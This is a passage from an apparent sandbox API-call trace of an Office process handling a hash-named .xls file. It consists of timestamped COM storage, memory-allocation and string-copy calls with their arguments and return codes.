returned 2 [0160.388] CExposedDocFile::CreateStorage () returned 0x0 [0160.389] CExposedDocFile::CreateStream () returned 0x0 [0160.389] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.389] CExposedStream::AddRef () returned 0x2 [0160.389] CExposedStream::Release () returned 0x1 [0160.389] CExposedStream::Seek () returned 0x0 [0160.389] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6655a20 [0160.390] CExposedStream::Seek () returned 0x0 [0160.390] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6655b70 [0160.390] CExposedStream::Seek () returned 0x0 [0160.390] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x66551c0 [0160.390] CExposedStream::Seek () returned 0x0 [0160.390] CExposedStream::Write () returned 0x0 [0160.390] CExposedStream::Write () returned 0x0 [0160.391] CExposedStream::Seek () returned 0x0 [0160.391] CExposedStream::Seek () returned 0x0 [0160.391] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.391] _ultow_s (in: _Value=0xffff, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="ffff") returned 0x0 [0160.391] wcscpy_s (in: _Destination=0xb956248, _SizeInWords=0x6e, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0160.391] wcscpy_s (in: _Destination=0xb95630c, _SizeInWords=0xb, _Source="035c6a74ea" | out: _Destination="035c6a74ea") returned 0x0 [0160.391] wcscpy_s (in: _Destination=0x5a3ba48, _SizeInWords=0x13, _Source="*\\Rffff*" | out: _Destination="*\\Rffff*") returned 0x0 [0160.391] wcscpy_s (in: _Destination=0x5a3ba58, _SizeInWords=0xb, _Source="035c6a74ea" | out: _Destination="035c6a74ea") returned 0x0 [0160.391] CExposedStream::Seek () returned 0x0 [0160.391] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.391] _ultow_s (in: _Value=0x2, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="2") returned 0x0 [0160.391] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.391] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.391] _ultow_s (in: _Value=0x26, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="26") returned 0x0 [0160.391] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R2*#26" | out: _Destination="*\\R2*#26") returned 0x0 [0160.391] IUnknown:Release (This=0x679c120) returned 0x8 [0160.392] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.392] _ultow_s (in: _Value=0x3, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="3") returned 0x0 [0160.392] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.392] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.392] _ultow_s (in: _Value=0x16, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="16") returned 0x0 [0160.392] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R3*#16" | out: _Destination="*\\R3*#16") returned 0x0 [0160.392] IUnknown:Release (This=0x679c6c0) returned 0x6 [0160.392] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.392] _ultow_s (in: _Value=0x0, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.392] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.392] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.392] _ultow_s (in: _Value=0x17, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="17") returned 0x0 [0160.392] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R0*#17" | out: _Destination="*\\R0*#17") returned 0x0 [0160.392] IUnknown:Release (This=0x679bb80) returned 0x15 [0160.392] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.392] _ultow_s (in: _Value=0x0, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.392] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.392] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.392] _ultow_s (in: _Value=0xf, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="f") returned 0x0 [0160.392] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x8, _Source="*\\R0*#f" | out: _Destination="*\\R0*#f") returned 0x0 [0160.392] IUnknown:Release (This=0x679bb80) returned 0x15 [0160.392] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.392] _ultow_s (in: _Value=0x0, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.393] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.393] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.393] _ultow_s (in: _Value=0x13, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="13") returned 0x0 [0160.393] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R0*#13" | out: _Destination="*\\R0*#13") returned 0x0 [0160.393] IUnknown:Release (This=0x679bb80) returned 0x15 [0160.393] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.393] _ultow_s (in: _Value=0x0, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.393] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.393] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.393] _ultow_s (in: _Value=0x1a, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="1a") returned 0x0 [0160.393] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R0*#1a" | out: _Destination="*\\R0*#1a") returned 0x0 [0160.393] IUnknown:Release (This=0x679bb80) returned 0x15 [0160.393] wcscpy_s (in: _Destination=0x2006b8, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0160.393] _ultow_s (in: _Value=0x0, _Buffer=0x2006be, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.393] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200618 | out: ppvObject=0x200618*=0x0) returned 0x80004002 [0160.393] IUnknown:QueryInterface (in: This=0xb941a30, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2005f8 | out: ppvObject=0x2005f8*=0x0) returned 0x80004002 [0160.393] _ultow_s (in: _Value=0x18, _Buffer=0x2006c4, _BufferCount=0x7, _Radix=16 | out: _Buffer="18") returned 0x0 [0160.393] wcscpy_s (in: _Destination=0xb732448, _SizeInWords=0x9, _Source="*\\R0*#18" | out: _Destination="*\\R0*#18") returned 0x0 [0160.393] IUnknown:Release (This=0x679bb80) returned 0x15 [0160.393] CExposedStream::Seek () returned 0x0 [0160.393] CExposedStream::Seek () returned 0x0 [0160.394] CExposedStream::Write () returned 0x0 [0160.394] CExposedStream::Write () returned 0x0 [0160.397] CExposedStream::Seek () returned 0x0 [0160.397] CExposedStream::Write () returned 0x0 [0160.397] CExposedStream::Seek () returned 0x0 [0160.397] CExposedStream::AddRef () returned 0x2 [0160.397] CExposedStream::Write () returned 0x0 [0160.397] CExposedStream::Release () returned 0x1 [0160.397] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.397] CExposedStream::Seek () returned 0x0 [0160.397] IMalloc:Alloc (This=0x7fefe465380, cb=0x2028) returned 0x637caf0 [0160.397] IMalloc:Alloc (This=0x7fefe465380, cb=0x10020*=0x10128) returned 0xbbaedb0 [0160.397] CExposedStream::AddRef () returned 0x2 [0160.397] CExposedStream::Write () returned 0x0 [0160.397] CExposedStream::Release () returned 0x1 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3c0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0745, _DstSizeInBytes=0x3eb, _Src=0x58bb770 | out: _Dst=0x7fee5fc0745) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f2d8 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0745, _DstSizeInBytes=0x3eb, _Src=0xb73c2b0 | out: _Dst=0x7fee5fc0745) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f478 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc074f, _DstSizeInBytes=0x3e1, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc074f) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f2f0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0749, _DstSizeInBytes=0x3e7, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc0749) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3c8 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc074d, _DstSizeInBytes=0x3e3, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc074d) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f320 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0747, _DstSizeInBytes=0x3e9, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc0747) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3f0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc074f, _DstSizeInBytes=0x3e1, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc074f) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.398] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f300 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.399] _mbscpy_s (in: _Dst=0x7fee5fc074c, _DstSizeInBytes=0x3e4, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc074c) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b16 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _i64toa_s (in: _Value=34, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="34") returned 0x0 [0160.428] strnlen (_Str="34", _MaxCount=0x18) returned 0x2 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b16 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b42 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b66 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _i64toa_s (in: _Value=0, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="0") returned 0x0 [0160.428] strnlen (_Str="0", _MaxCount=0x18) returned 0x1 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b96 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792bc2 | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792bea | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c1a | out: _Dst=0x66fcea0) returned 0x0 [0160.428] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c4a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c7a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _i64toa_s (in: _Value=4, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="4") returned 0x0 [0160.429] strnlen (_Str="4", _MaxCount=0x18) returned 0x1 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792caa | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x57910ee | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792cd6 | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c7a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792caa | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c4a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792cd6 | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d02 | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d2e | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _i64toa_s (in: _Value=34, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="34") returned 0x0 [0160.429] strnlen (_Str="34", _MaxCount=0x18) returned 0x2 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d2e | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b42 | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d5a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _i64toa_s (in: _Value=10, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="10") returned 0x0 [0160.429] strnlen (_Str="10", _MaxCount=0x18) returned 0x2 [0160.429] _i64toa_s (in: _Value=3, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="3") returned 0x0 [0160.429] strnlen (_Str="3", _MaxCount=0x18) returned 0x1 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d5a | out: _Dst=0x66fcea0) returned 0x0 [0160.429] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d86 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x57910ee | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d02 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x57917ba | out: _Dst=0x66fcea0) returned 0x0 [0160.430] VarBstrFromR8 (in: dblIn=0xfc00, lcid=0x409, dwFlags=0x80000000, pbstrOut=0x200600 | out: pbstrOut=0x200600*="2") returned 0x0 [0160.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=2, lpMultiByteStr=0x200620, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2", lpUsedDefaultChar=0x0) returned 2 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d02 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dae | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792bea | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dd2 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d2e | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dfe | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b16 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e2a | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e56 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e2a | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e82 | out: _Dst=0x66fcea0) returned 0x0 [0160.430] _i64toa_s (in: _Value=3, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="3") returned 0x0 [0160.431] strnlen (_Str="3", _MaxCount=0x18) returned 0x1 [0160.431] IMalloc:Alloc (This=0x7fefe465380, cb=0x6) returned 0x66551f0 [0160.431] _i64toa_s (in: _Value=34, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="34") returned 0x0 [0160.431] strnlen (_Str="34", _MaxCount=0x18) returned 0x2 [0160.431] IMalloc:Alloc (This=0x7fefe465380, cb=0x800) returned 0x6395920 [0160.431] _i64toa_s (in: _Value=34, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="34") returned 0x0 [0160.431] strnlen (_Str="34", _MaxCount=0x18) returned 0x2 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792bea | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dd2 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e56 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x57910ee | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792eb2 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c4a | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d5a | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792c4a | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d5a | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b42 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792b42 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dfe | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792ee2 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f36 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f62 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f36 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.431] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f92 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: 